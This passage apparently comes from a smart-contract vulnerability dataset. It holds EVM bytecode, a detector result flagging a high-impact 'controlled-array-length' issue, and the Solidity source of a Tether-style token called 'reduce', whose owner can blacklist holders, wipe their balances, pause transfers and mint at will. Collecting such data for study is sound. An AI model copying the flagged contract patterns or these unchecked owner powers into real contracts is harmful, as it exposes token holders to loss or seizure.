2526020918290208351600292830290910180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff909216919091178155929091015160019283015554610a3d91610ca7565b9150600354821415610a585760006003819055600255610a5e565b60028290555b5050565b6000610335600254600354610c9090919063ffffffff16565b7f495061796d656e744d616e616765720000000000000000000000000000000000610aa581610bea565b73ffffffffffffffffffffffffffffffffffffffff163314610b2857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f63616c6c657220697320696c6c6567616c000000000000000000000000000000604482015290519081900360640190fd5b600354600010610b3457fe5b60008211610b3e57fe5b610b856001600254815481101515610b5257fe5b906000526020600020906002020160010154610b7984600454610ca790919063ffffffff16565b9063ffffffff610c9016565b600455600254600180548492908110610b9a57fe5b9060005260206000209060020201600101819055505050565b60408051808201909152600581527f322e302e30000000000000000000000000000000000000000000000000000000602082015281565b60008054604080517f0d2020dd00000000000000000000000000000000000000000000000000000000815260048101859052905173ffffffffffffffffffffffffffffffffffffffff90921691630d2020dd9160248082019260209290919082900301818787803b158015610c5e57600080fd5b505af1158015610c72573d6000803e3d6000fd5b505050506040513d6020811015610c8857600080fd5b505192915050565b60008083831115610ca057600080fd5b5050900390565b600082820183811015610cb957600080fd5b9392505050565b604080518082019091526000808252602082015290565b8154818355818111156105e1576000838152602090206105e1916103079160029182028101918502015b80821115610d3e5780547fffffffffffffffffffffffff000000000000000000000000000000000000000016815560006001820155600201610d01565b50905600a165627a7a7230582097e8e96755961860fe8d94accb449080d6075386f6e9d2553ee1c356da32aed20029 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 1,927 |
0xf97585b042ad6c478e27d492ff1441511723c7ec | /**
*Submitted for verification at Etherscan.io on 2020-07-18
*/
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract reduce is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function reduce(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
} | 0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461019b5780630753c30c1461022b578063095ea7b31461026e5780630e136b19146102bb5780630ecb93c0146102ea57806318160ddd1461032d57806323b872dd1461035857806326976e3f146103c557806327e235e31461041c578063313ce56714610473578063353907141461049e5780633eaaf86b146104c95780633f4ba83a146104f457806359bf1abe1461050b5780635c658165146105665780635c975abb146105dd57806370a082311461060c5780638456cb5914610663578063893d20e81461067a5780638da5cb5b146106d157806395d89b4114610728578063a9059cbb146107b8578063c0324c7714610805578063cc872b661461083c578063db006a7514610869578063dd62ed3e14610896578063dd644f721461090d578063e47d606014610938578063e4997dc514610993578063e5b5019a146109d6578063f2fde38b14610a01578063f3bdc22814610a44575b600080fd5b3480156101a757600080fd5b506101b0610a87565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f05780820151818401526020810190506101d5565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023757600080fd5b5061026c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b25565b005b34801561027a57600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c42565b005b3480156102c757600080fd5b506102d0610d95565b604051808215151515815260200191505060405180910390f35b3480156102f657600080fd5b5061032b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b005b34801561033957600080fd5b50610342610ec1565b6040518082815260200191505060405180910390f35b34801561036457600080fd5b506103c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa9565b005b3480156103d157600080fd5b506103da61118e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042857600080fd5b5061045d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b4565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b506104886111cc565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104b36111d2565b6040518082815260200191505060405180910390f35b3480156104d557600080fd5b506104de6111d8565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b506105096111de565b005b34801561051757600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129c565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f2565b6040518082815260200191505060405180910390f35b3480156105e957600080fd5b506105f2611317565b604051808215151515815260200191505060405180910390f35b34801561061857600080fd5b5061064d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061132a565b6040518082815260200191505060405180910390f35b34801561066f57600080fd5b50610678611451565b005b34801561068657600080fd5b5061068f611511565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106dd57600080fd5b506106e661153a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073457600080fd5b5061073d61155f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077d578082015181840152602081019050610762565b50505050905090810190601f1680156107aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c457600080fd5b50610803600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115fd565b005b34801561081157600080fd5b5061083a60048036038101908080359060200190929190803590602001909291905050506117ac565b005b34801561084857600080fd5b5061086760048036038101908080359060200190929190505050611891565b005b34801561087557600080fd5b5061089460048036038101908080359060200190929190505050611a88565b005b3480156108a257600080fd5b506108f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c1b565b6040518082815260200191505060405180910390f35b34801561091957600080fd5b50610922611d78565b6040518082815260200191505060405180910390f35b34801561094457600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7e565b604051808215151515815260200191505060405180910390f35b34801561099f57600080fd5b506109d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d9e565b005b3480156109e257600080fd5b506109eb611eb7565b6040518082815260200191505060405180910390f35b348015610a0d57600080fd5b50610a42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edb565b005b348015610a5057600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fb0565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8057600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610c5a57600080fd5b600a60149054906101000a900460ff1615610d8557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610d6857600080fd5b505af1158015610d7c573d6000803e3d6000fd5b50505050610d90565b610d8f8383612134565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0357600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610fa057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610f5e57600080fd5b505af1158015610f72573d6000803e3d6000fd5b505050506040513d6020811015610f8857600080fd5b81019080805190602001909291905050509050610fa6565b60015490505b90565b600060149054906101000a900460ff16151515610fc557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561101e57600080fd5b600a60149054906101000a900460ff161561117d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b15801561116057600080fd5b505af1158015611174573d6000803e3d6000fd5b50505050611189565b6111888383836122d1565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123957600080fd5b600060149054906101000a900460ff16151561125457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561144057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156113fe57600080fd5b505af1158015611412573d6000803e3d6000fd5b505050506040513d602081101561142857600080fd5b8101908080519060200190929190505050905061144c565b61144982612778565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ac57600080fd5b600060149054906101000a900460ff161515156114c857600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115f55780601f106115ca576101008083540402835291602001916115f5565b820191906000526020600020905b8154815290600101906020018083116115d857829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561161957600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561167257600080fd5b600a60149054906101000a900460ff161561179d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561178057600080fd5b505af1158015611794573d6000803e3d6000fd5b505050506117a8565b6117a782826127c1565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180757600080fd5b60148210151561181657600080fd5b60328110151561182557600080fd5b81600381905550611844600954600a0a82612b2990919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ec57600080fd5b600154816001540111151561190057600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156119d057600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae357600080fd5b8060015410151515611af457600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611b6357600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611d6557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611d2357600080fd5b505af1158015611d37573d6000803e3d6000fd5b505050506040513d6020811015611d4d57600080fd5b81019080805190602001909291905050509050611d72565b611d6f8383612b64565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611df957600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f3657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611fad57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200d57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561206557600080fd5b61206e8261132a565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561214c57600080fd5b600082141580156121da57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156121e657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156122ee57600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061239661271061238860035488612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156123a85760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841015612464576123e38585612c0690919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6124778386612c0690919063ffffffff16565b91506124cb85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256082600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561270a5761261f83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffff